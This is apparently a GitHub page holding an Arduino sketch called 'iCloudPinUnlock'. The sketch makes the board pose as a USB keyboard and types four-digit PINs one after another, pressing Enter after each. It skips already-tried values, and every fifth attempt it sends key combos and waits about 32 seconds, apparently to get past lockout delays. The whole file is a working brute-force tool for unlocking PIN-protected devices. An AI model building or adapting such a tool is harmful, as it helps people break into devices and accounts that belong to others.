-
Notifications
You must be signed in to change notification settings - Fork 4
/
iCloudPinUnlock
112 lines (101 loc) · 2.18 KB
/
iCloudPinUnlock
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
/* Arduino USB HID Keyboard Demo
* Random Key/Random Delay
*/
#include <EEPROM.h>
#define KEY_LEFT_CTRL 0x01
#define KEY_LEFT_SHIFT 0x02
#define KEY_RIGHT_CTRL 0x10
#define KEY_RIGHT_SHIFT 0x20
const int KEY_0 = 0x27;
const int KEY_1 = 0x1E;
const int KEY_2 = 0x1F;
const int KEY_3 = 0x20;
const int KEY_4 = 0x21;
const int KEY_5 = 0x22;
const int KEY_6 = 0x23;
const int KEY_7 = 0x24;
const int KEY_8 = 0x25;
const int KEY_9 = 0x26;
const int KEY_ENTER = 0x28;
//const int KEY_ENTER = 0x4D;
//const int KEY_CTRL_LEFT = 0xE0;
const int KEY_CTRL_LEFT = 0x01;
const int KEY_TAB = 0x2B;
const int KEY_ESPACE = 0x2C;
int array[14] = {KEY_0, KEY_1, KEY_2, KEY_3, KEY_4, KEY_5, KEY_6, KEY_7, KEY_8, KEY_9, KEY_ENTER, KEY_CTRL_LEFT, KEY_TAB, KEY_ESPACE};
int counter = 0;
int store_adresse= 0;
byte store_value;
uint8_t buf[8] = {
0
}; /* Keyboard report buffer */
void setup()
{
Serial.begin(9600);
randomSeed(analogRead(0));
//Mouse.begin();
delay(200);
}
void loop()
{
delay(1000);
counting();
}
void releaseKey()
{
buf[0] = 0;
buf[2] = 0;
Serial.write(buf, 8); // Release key
}
void tip(int i) {
delay(100);
buf[0] = 0;
buf[2] = array[i]; // letter R
Serial.write(buf, 8);
releaseKey();
delay(100);
}
void tipCombo(int i, int j) {
delay(100);
buf[0] = array[i];
buf[2] = array[j]; // letter R
Serial.write(buf, 8);
releaseKey();
delay(100);
}
void counting() {
for (int a = 0; a < 10; a++) {
for (int b = 0; b < 10; b++) {
for (int c = 0; c < 10; c++) {
for (int d = 0; d < 10; d++) {
counter++;
// if ((a == 0)||((a==1)&&(b<2))){
// if ((a == 0) || ((a == 1) && (b < 8))) {
if (((a <2)||((a==2)&&(b<8)))) {
continue;
}
tip(a);
delay(32);
tip(b);
delay(120);
tip(c);
delay(200);
tip(d);
delay(30);
tip(10);
delay(50);
if (counter % 5 == 0) {
tipCombo(11, 12);
tipCombo(11, 12);
tipCombo(11, 12);
tip(13);
delay(32000);
}
else {
delay(1000);
}
}
}
}
}
}